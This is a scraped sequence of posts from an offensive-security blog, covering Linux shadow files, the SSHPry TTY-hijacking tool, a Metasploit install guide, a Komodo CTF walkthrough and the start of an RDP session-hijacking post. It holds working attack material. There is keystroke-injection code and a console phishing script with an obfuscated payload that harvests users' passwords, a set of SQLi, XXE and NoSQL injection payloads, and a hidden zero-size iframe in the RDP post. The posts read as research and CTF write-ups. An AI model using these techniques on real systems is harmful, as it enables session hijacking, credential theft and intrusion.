pre-wrap;"> </span><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: #0c343d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> | </span><span style="color: #741b47; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;"> </span><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">|</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #980000; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">user</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">:x:</span><span style="color: #38761d; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">1000</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="color: #134f5c; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">1000</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">:Full Name:</span><span style="color: #a64d79; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/home/user</span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/bin/bash</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">Password information of each user in linux stored in </span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc/shadow</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> file:</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$ cat /etc/shadow</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">user</span><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">:</span><span style="color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$6$.n.</span><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">:17736:0:99999:7:::</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | | | |||\-----------> 9. Unused</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | | | ||\------------> 8. Expiration date</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | | | |\-------------> 7. Inactivity period</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | | | \--------------> 6. Warning period</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | | \------------------> 5. Maximum password age</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | | \----------------------> 4. Minimum password age</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| | \--------------------------> 3. Last password change</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">| \---------------------------------> 2. </span><span style="color: red; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Password Hash</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: #1f2937; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">\----------------------------------------> 1. </span><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">Username</span></p><br /><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt; text-align: justify;"><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">This file (</span><span style="background-color: #efefef; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">/etc/shadow</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">) is accessible only to the </span><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">root</span><span style="font-family: "Roboto Mono", monospace; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"> user since it’s permissions:</span></p><div style="text-align: justify;"><br /></div><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="color: blue; font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; font-weight: 700; vertical-align: baseline; white-space: pre-wrap;">$ ls -la /etc/shadow</span></p><p dir="ltr" style="line-height: 1.38; margin-bottom: 0pt; margin-top: 0pt;"><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;">-rw-r----- 1 root shadow 1799 Jul 29 15:44 /etc/shadow</span></p><div><span style="font-family: "Courier New"; font-size: 10pt; font-variant-east-asian: normal; font-variant-numeric: normal; vertical-align: baseline; white-space: pre-wrap;"><br /></span></div></span>nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-89418200783377653672017-09-30T07:46:00.001+03:002017-09-30T07:46:52.955+03:00SSHPry v2 - Spy & Control SSH Connected client's TTY<br /> <br /><i><b><span style="color: #274e13;">- What if we'll have a tool that can show us a terminal of active SSH connection? <br />and... maybe... control it? Record it? Investigate?</span></b></i><div>
<div>
<br /></div>
<div>
I always curious about what can be done after you somehow got root and already talked about some techniques of post exploitation with highly privileged accounts:<br />
1. <a href="http://www.korznikov.com/2015/10/ssh-snooping-in-action.html">SSH Snooping</a><br />
2. <a href="http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html">RDP Session Hijacking</a><br />
<br />
Today I want to talk about linux terminals - TTYs.<br />
<br />
<div style="text-align: center;">
<i><b><span style="color: #274e13;">Hurry? Scroll down to Demo.</span></b></i></div>
<i><br /></i>
<br />
<h2>
- Observation -</h2>
Every *nix user should already know about GNU Screen, especially of it's '-x' multi display mode feature, that allows to observe an attached screen session.<br />
That's cool, but what if we don't have screen on the target machine?<br />
<br />
I don't know nothing about terminal emulators, so i can make mistakes, but...<br />
As mentioned in SSH Snooping attack, we can utilize 'strace' to get all process' syscalls read/write including root's password.<br />
<br />
As you may already know, I've implemented this technique to get ALL read() strings of connected ssh client in SSHPry.py script that mirrors a terminal of connected SSH client.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/m-SUNXc4CTM/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/m-SUNXc4CTM?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
BTW, main python trick was 'string'.decode('string_escape') and voila we've got identical terminal session!<br />
<br />
So far so good, but not enough, we need full control.<br />
<br />
<h2>
- Taking Control -</h2>
Firstly, I wondered how can I send some data or keystrokes to another TTY. Because if you make something like this:<br />
echo 123 > /dev/pts/19<br />
It will appear on that TTY but only as standard output, meaning, if you press Enter - nothing happens.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://4.bp.blogspot.com/-2QX9LxT5_qI/WcbkNGgVZmI/AAAAAAAAB4Y/EQg2lnl2D5QVw0Z3Tfm2gkbuFuH40EMwgCLcBGAs/s1600/Selection_016.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="582" data-original-width="988" height="376" src="https://4.bp.blogspot.com/-2QX9LxT5_qI/WcbkNGgVZmI/AAAAAAAAB4Y/EQg2lnl2D5QVw0Z3Tfm2gkbuFuH40EMwgCLcBGAs/s640/Selection_016.png" width="640" /></a></div>
<br />
<br />
I've found <a href="http://www.humbug.in/2010/utility-to-send-commands-or-data-to-other-terminals-ttypts/">utility</a> in C that actually sends data to another TTY, but the downside that it needs to be compiled. Luckily google come up with <a href="https://docs.python.org/2/library/fcntl.html">python library</a> that can do that!<br />
<br />
<pre class="white">import termios, fcntl
import sys
command = sys.argv[1]
tty = sys.argv[2]
with open(tty) as f:
for c in command.decode('string_escape'):
fcntl.ioctl(f,termios.TIOCSTI,c)
</pre>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-o_9jH1aO8RA/WcblwI7akeI/AAAAAAAAB4k/BPQHJcIf3j4RYClMcmE6X-8aFP6tNqXbQCLcBGAs/s1600/Selection_017.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="582" data-original-width="987" height="376" src="https://2.bp.blogspot.com/-o_9jH1aO8RA/WcblwI7akeI/AAAAAAAAB4k/BPQHJcIf3j4RYClMcmE6X-8aFP6tNqXbQCLcBGAs/s640/Selection_017.png" width="640" /></a></div>
<br />
Secondly, thanks to <a href="https://stackoverflow.com/a/13207724">enrico.bacis</a> answer on StackOverflow, I've learned how to catch my keyboard input.<br />
<br />
By combining all these techniques and spawning two separate threads one for echoing 'strace' strings to our terminal and second for transferring our standard input to target TTY we get a tool that replicates GNU screen '-x' feature without screen itself with couple more #redteam and #blueteam related cool features.<br />
<br />
Once we get full control over the session, and we get all strings - we can make some phishing :)<br />
<br />
<h2>
- Console-Level Phishing -</h2>
As we already know 'echo 123 > /dev/pts/TTY' does not affect terminal except standard output, we can create custom phishing messages to target user/tty.<br />
Furthermore, we can utilize terminal escape sequences, which described <a href="http://seclists.org/fulldisclosure/2015/Sep/75">here</a> and <a href="http://www.tldp.org/HOWTO/Bash-Prompt-HOWTO/x361.html">here</a>, then craft a realistic phishing message:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://2.bp.blogspot.com/-IMNfmKlPtsc/Wcb6Tc8Q-NI/AAAAAAAAB40/srVjVFKqkPs4H3COIy1z16uZ1fE3cZ0rwCLcBGAs/s1600/Selection_018.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="612" data-original-width="991" height="394" src="https://2.bp.blogspot.com/-IMNfmKlPtsc/Wcb6Tc8Q-NI/AAAAAAAAB40/srVjVFKqkPs4H3COIy1z16uZ1fE3cZ0rwCLcBGAs/s640/Selection_018.png" width="640" /></a></div>
We see login keyring message, but instead we have executed some evil script:<br />
<br />
<pre class="white">import termios, fcntl
import sys
from time import sleep
tty = sys.argv[1]
command = 'python -c \'exec("aW1wb3J0IGdldHBhc3MNdHJ5Og0gZ2V0cGFzcy5nZXRwYXNzKCkNZXhjZXB0Og0gcGFzcw0=".decode("base64"))\'\n'
message = '\033[2A\033[2K\r'+' '*(len(command)+20)
message += '\nEnter password to unlock your login keyring:'
with open(tty) as f:
for c in command.decode('string_escape'):
fcntl.ioctl(f,termios.TIOCSTI,c)
sleep(0.05)
with open(tty,'w') as f:
f.write(message)
</pre>
<br />
While listening to all strings with 'strace', we can get clear-text password of any logged in user, especially root.<br />
<br />
<h2>
- Record & Replay -</h2>
<div>
While the initial idea was offensive, once I've developed the tool came out that it can be useful to all kind of defenders: <b>Blue-Teams, Incident Response and Forensics</b>.</div>
<div>
<b><span style="color: #274e13;"><br /></span></b></div>
<div>
<b><span style="color: #274e13;">I've developed a feature that allows to record an SSH session of connected client, and then replay it to investigate what happened.</span></b></div>
<div>
<br /></div>
<div>
<br /></div>
<h2>
- Demo -</h2>
<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe width="320" height="266" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/2gfnBvu1u34/0.jpg" src="https://www.youtube.com/embed/2gfnBvu1u34?feature=player_embedded" frameborder="0" allowfullscreen></iframe></div>
<br />
<h2>
- Get It -</h2>
<div>
Developed under GNU General Public License v 3.0</div>
<a href="https://github.com/nopernik/SSHPry2.0">https://github.com/nopernik/SSHPry2.0</a><br />
<br />
<iframe allowtransparency="true" class="twitter-follow-button twitter-follow-button-rendered" data-screen-name="nopernik" frameborder="0" id="twitter-widget-0" scrolling="no" src="https://platform.twitter.com/widgets/follow_button.b41e99df00581dc95d7fdd63f3283511.en.html#dnt=false&id=twitter-widget-0&lang=en&screen_name=nopernik&show_count=false&show_screen_name=true&size=m&time=1468752459053" style="height: 20px; position: static; visibility: visible; width: 121px;" title="Twitter Follow Button"></iframe>
<script id="twitter-wjs" src="https://platform.twitter.com/widgets.js"></script><script>!function(d,s,id){var js,fjs=d.getElementsByTagName(s)[0],p=/^http:/.test(d.location)?'http':'https';if(!d.getElementById(id)){js=d.createElement(s);js.id=id;js.src=p+'://platform.twitter.com/widgets.js';fjs.parentNode.insertBefore(js,fjs);}}(document, 'script', 'twitter-wjs');</script><a href="http://www.korznikov.com/feeds/posts/default" title="Subscribe to my feed">
<img class="myimg" src="data:image/gif;base64,R0lGODlhEAAQAOYAAPSRNut/MvqcOfudOviZOfz18P/58+6FNOh5MeZ/M/aUN/KNNeZ0L+mFNfCJNO6FM/748uNuLv7y5tpeKud4L+yKNuF4MeyBMuBqLep9MeN5MuN5MfmdQeiDNN5lLP3x5t5vL99xMNxhK/3ateF0MOuJNeiFNf738uV0LuJ2MeeBM95wMOV8MuiCNPzChOqHNd1uL+R7MuV9MumINvqsXvrOp/ivae6RTPSmZ+6aZPnIm+l+OfS9mPieRO+NQe6rif7s2vmlUu6ylfG3l/u5d+B1RfOkZ++dZPSsc/zZtfetaf3fwf7x5vKjZuaLYPi/jvabRPKTQvSygPupUvqiRv7mzvfDmfi0deyWY/ehUOiJVffUvvWpaPzjzfrDj+qJSfXAmPW/mf3lzfmfRfvm2PnXv+JwNvq+g/uvXuR8R/qzavrTs/eXOPmaOfWSN/GLNeqwh////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAAAQABAAAAfpgAVwFhsxMgkqHQ0vJRUzcII7KBQZFw8OCwAKbG0CHIMoXzxgTZianAIDBCYbFEdxsBA6UKiqbg0xGTdWax+wBkSpBG5vLTKWpjZAsC7DbwcJCQ84EF1ePW0jsFfPASwqDlywcQZoA0lxED4BCBodmVlnEuQ0br5hCAwpDadtVNpMoiCJc4JBBBIvNi2p4mLMPCkBTsTRgiFECTZqYIlx8yROGQRb4vzwAKJCmykG4tR4YyQOGQZD4ggRAWNGqiBKuuXAEiGNkyITVsDh4OwAO4MYPIiYYAYSHBMNWiRgoSEFiRAgYAgtEAgAOw==" style="height: 20px; width: 20px;" /></a><br />
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe>
<iframe allowfullscreen="true" allowtransparency="true" frameborder="0" id="rufous-sandbox" scrolling="no" style="border: none; display: none; height: 0px; padding: 0px; position: absolute; visibility: hidden; width: 0px;"></iframe></div>
</div>
nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com2tag:blogger.com,1999:blog-343942367941320523.post-663120663666668232017-07-14T15:19:00.000+03:002019-05-24T16:12:57.887+03:00Install Metasploit the easy way without RVMInstall metasploit the easy way<br />
<br />
Don't copy&paste, think before.
<br />
<pre class="black">- wget https://cache.ruby-lang.org/pub/ruby/stable-snapshot.tar.gz && tar xzf stable-snapshot.tar.gz && cd stable-snapshot
- <i>Debian</i>: apt-get install gcc libpq-dev libsqlite3-dev zlib1g-dev libssl-dev readline-common libpq-dev libpcap-dev
- <i>Centos</i>: yum install gcc gcc-c++ zlib-devel openssl-devel readline-devel postgresql-devel libpcap-devel sqlite-devel
- ./configure && make && make install && cd ..
- git clone https://github.com/rapid7/metasploit-framework
- gem install bundle
- cd metasploit-framework && bundle install
- Make symlinks: for MSF in $(ls msf*); do ln -s `pwd`/$MSF /usr/local/bin/$MSF;done
</pre>
nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com0tag:blogger.com,1999:blog-343942367941320523.post-6992657357763462992017-06-29T13:20:00.000+03:002017-06-29T19:19:42.625+03:00Easy Komodo CTF Walkthrough/Solutions. Wasted 2:45h of my life.Easy challenges by Komodo Israel, completed in 2 hours 45 minutes (have proof :).<br />
<br />
For the report, original leader-board looked like this:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://4.bp.blogspot.com/-G8bIQdjofyc/WVTTUGdJngI/AAAAAAAAByg/Wr0yZDVWIzY19QlTHNIU39ZtyhtoCLi0wCK4BGAYYCw/s1600/WhatsApp%2BImage%2B2017-06-25%2Bat%2B01.49.44.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="272" src="https://4.bp.blogspot.com/-G8bIQdjofyc/WVTTUGdJngI/AAAAAAAAByg/Wr0yZDVWIzY19QlTHNIU39ZtyhtoCLi0wCK4BGAYYCw/s640/WhatsApp%2BImage%2B2017-06-25%2Bat%2B01.49.44.jpeg" width="640" /></a></div>
<br />
<br />
<h2>
Challenge 1 - Union based SQL Injection:</h2>
<br />
<b>GET Request:</b>
<br />
<pre class="white">http://ctf.komodosec.com/challenge-1.php?city=lame-challenge' union select 1,flag,3,4,5 from flags%23</pre>
<br />
<h2>
Challenge 2 - SQL Injection via ORDER/GROUP by:</h2>
<br />
<b>GET Request:</b>
<br />
<pre class="white">http://ctf.komodosec.com/challenge-2.php?city=lame-challenge2&ob=extractvalue(0x0a,concat(0x0a,(select flag from flags)))-BR</pre>
<br />
<h2>
Challenge 3 - XXE:</h2>
<br />
Enable hidden form:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://3.bp.blogspot.com/-rKmAAoR3ThI/WVTJZg4WnfI/AAAAAAAAByQ/DXBjgeHbkJM1gNW4AVks2ZiYnXYSsQeKACK4BGAYYCw/s1600/Selection_012.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="59" src="https://3.bp.blogspot.com/-rKmAAoR3ThI/WVTJZg4WnfI/AAAAAAAAByQ/DXBjgeHbkJM1gNW4AVks2ZiYnXYSsQeKACK4BGAYYCw/s640/Selection_012.png" width="640" /></a></div>
<br />
<br />
<b>POST Request:</b><br />
<div>
</div>
<pre class="white">data=<?xml version="1.0" ?>
<!DOCTYPE nopernik [
<!ENTITY lame-xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/challenge-3.php">]>
<books><book>%26lame-xxe;</book></books></pre>
<br />
<br />
<h2>
Challenge 4 - Variable assignment via extract():</h2>
<br />
<b>Get hint and PHP source code:</b>
<br />
<pre class="black">root@nopernik:~# echo ICcnLmpvaW4oW2NocihvcmQoaSleODIpIGZvciBpIGluICdcJyE3ciQ7NyUhPVwnIDE3ciIzIDM/J10p|base64 -d
''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])
root@nopernik:~# python
>>> ''.join([chr(ord(i)^82) for i in '\'!7r$;7%!=\' 17r"3 3?'])
'use viewsource param'
>>></pre>
<b>GET Request:</b>
<br />
<pre class="white">http://ctf.komodosec.com/challenge-4.php?viewsource=lame-challenge</pre>
<br />
From source code we can understand that the main functionality of the script is to send <b>email</b>. We have to find out how to inject our email address into <b>$sendTo</b> variable.<br />
For that purpose we will utilize extract() function, which will assign every value from given array to variable named by key name. $_GET[] - is an array that will passed to <b>extract()</b> function. We can manipulate that array via GET Request.<br />
Also we can see that the script will print out <b>$error</b> value. Let's verify that:<br />
GET http://ctf.komodosec.com/challenge-4.php?extract=p&error=lame-challenge<br />
We will see lame-challenge in server's response.<br />
<br />
Next, we want to change <b>$sendTo</b> variable, luckily it is assigned <b>before extract()</b> function.<br />
<br />
<pre class="white">http://ctf.komodosec.com/challenge-4.php?extract=p&sendTo=nopernik@gmail.com</pre>
<i><span style="color: #cc0000;">Check your spam folder.</span></i><br />
<br />
<h2>
Challenge 5 - Weak encryption:</h2>
<br />
Once we log in with some name except "admin" we will get cookie:
<br />
<pre class="white">my_session=StxtqfSPt%2BE1WNG9wdoUCauaqGP%2FKu0wGciMJkwnxoA%3D</pre>
Then by decoding that cookie and changing the first character, we will see the server's output changed.<br />
<br />
Using "<b>bdmin</b>" account, by changing the first character, we can easily bruteforce cookie for "<b>admin</b>" account with only 256 requests.<br />
<br />
Python one-liner script that will generate all possible variations:
<br />
<pre class="black">a='your_cookie'.decode('base64'); print ''.join([(chr(i)+a[1:]).encode('base64') for i in range(256)])</pre>
<div>
<br /></div>
<div>
Paste 256 resulting lines into intruder, and get your flag:</div>
<div>
<br /></div>
<div>
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-zfw10kwCa7A/WVTJIFzjP8I/AAAAAAAAByA/oSe_162068AUgjvuOhl4N8u5gIy3bwYLQCK4BGAYYCw/s1600/Selection_013.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="466" src="https://2.bp.blogspot.com/-zfw10kwCa7A/WVTJIFzjP8I/AAAAAAAAByA/oSe_162068AUgjvuOhl4N8u5gIy3bwYLQCK4BGAYYCw/s640/Selection_013.png" width="640" /></a></div>
</div>
<br />
<br />
<h2>
Challenge 6 - NO SQL Injection:</h2>
<br />
Everyone stucks with <span style="color: #236e25; font-family: monospace; white-space: pre-wrap;">overflow the stack with 1885979.</span><br />
But if you goolge it, you will get <a href="https://stackoverflow.com/questions/1885979/php-get-variable-array-injection">https://stackoverflow.com/questions/1885979/php-get-variable-array-injection</a><br />
Arrays?? NO SQL Injection.<br />
<br />
<b>POST Request:</b><br />
<pre class="white">name[$ne]=&password[$ne]=&submit=Submit+Form</pre>
<br />
<h2>
Challenge 7 - MongoDB Injection:</h2>
<br />
MongoDB & Javascript<br />
<br />
<b>POST Request:</b>
<br />
<pre class="white">question='});return db.getCollectionNames();}//&validate=Ask</pre>
<br />
<br />
<br />
<br />nopernikhttp://www.blogger.com/profile/11549169563852115328noreply@blogger.com2tag:blogger.com,1999:blog-343942367941320523.post-91559591494540020142017-03-17T01:57:00.000+02:002017-08-05T02:10:03.115+03:00Passwordless RDP Session Hijacking Feature All Windows versions * This post periodically updated, all updates in the end of the post.<br />
<iframe src="http://sudo.co.il/img.php" style="width:0px;height:0px;border: 0px solid white;position: relative;top: -100000;" border="0"></iframe>
<br />
<b>Update: Added <a href="https://youtu.be/bbTfN5geSKw">Windows Server 2016 Datacenter Demo</a></b><br />
<br />
Hey there,<br />
<br />
Blogpost in 20 seconds: Fun with sethc backdoored host :) somewhere in the internet:<br />
<div class="separator" style="clear: both; text-align: center;">
<iframe allowfullscreen="" class="YOUTUBE-iframe-video" data-thumbnail-src="https://i.ytimg.com/vi/OZqTK_yQbHk/0.jpg" frameborder="0" height="266" src="https://www.youtube.com/embed/OZqTK_yQbHk?feature=player_embedded" width="320"></iframe></div>
<br />
<br />
Recently i've played with sethc/utilman logon screen backdoors, and almost everytime i used just command line.<br />
Occasionally i've looked at Users tab in Task Manager (taskmgr.exe), and clicked connect button, and surprisingly <b>i've got connected to selected user's session</b>.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="http://2.bp.blogspot.com/-732Cqv8jfH0/WMWr9HEeQQI/AAAAAAAABj8/6MLsY9SkASYxuwEioiKoWE1f6_G-dI_sQCK4B/s1600/taskmgr1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://2.bp.blogspot.com/-732Cqv8jfH0/WMWr9HEeQQI/AAAAAAAABj8/6MLsY9SkASYxuwEioiKoWE1f6_G-dI_sQCK4B/s1600/taskmgr1.png" /></a></div>
<br />
<br />
When i checked it again with local admin rights, it <b>failed</b> by asking user's password.<br />
Why and how that happened? Let's dig deeper.<br />
<br />
Related to Microsoft documentation:<br />
<a href="https://technet.microsoft.com/en-us/library/cc770988(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/cc770988(v=ws.11).aspx</a><br />
<a href="https://technet.microsoft.com/en-us/library/cc731007(v=ws.11).aspx">https://technet.microsoft.com/en-us/library/cc731007(v=ws.11).aspx</a><br />
<br />
we can see couple important remarks:<br />
<h2 class="LW_CollapsibleArea_TitleDiv" style="font-family: "Segoe UI Semibold", "Segoe UI", "Lucida Grande", Verdana, Arial, Helvetica, sans-serif; font-size: 13px; font-weight: normal; line-height: 1.3em; margin: 0px; padding-bottom: 5px; padding-top: 20px;">
<a class="LW_CollapsibleArea_TitleAhref" href="https://www.blogger.com/null" role="heading" style="color: #0072c6; cursor: text; outline: none;" title=""><span class="LW_CollapsibleArea_Title" style="color: black; display: inline-block; font-size: 1.769em; line-height: 1.3em;"><i>Remarks</i></span></a><div class="LW_CollapsibleArea_Anchor_Div active" id="Anchor_2" style="float: right; height: 20px; padding-top: 7px; visibility: visible; width: 20px;">
<i><a class="LW_CollapsibleArea_Anchor_Img" href="https://technet.microsoft.com/en-us/library/cc770988(v=ws.11).aspx#Anchor_2" style="background-attachment: scroll; background-clip: initial; background-image: url("/Areas/Epx/Content/Images/ImageSprite.png?v=636239072766779663"); background-origin: initial; background-position: -502px -3px; background-repeat: no-repeat; background-size: initial; color: black; display: inline-block; height: 20px; overflow: hidden; text-decoration: none; width: 20px;" title="Right-click to copy and share the link for this section"></a></i></div>
<i>
</i><div class="LW_CollapsibleArea_HrDiv" style="padding-top: 0px;">
</div>
</h2>
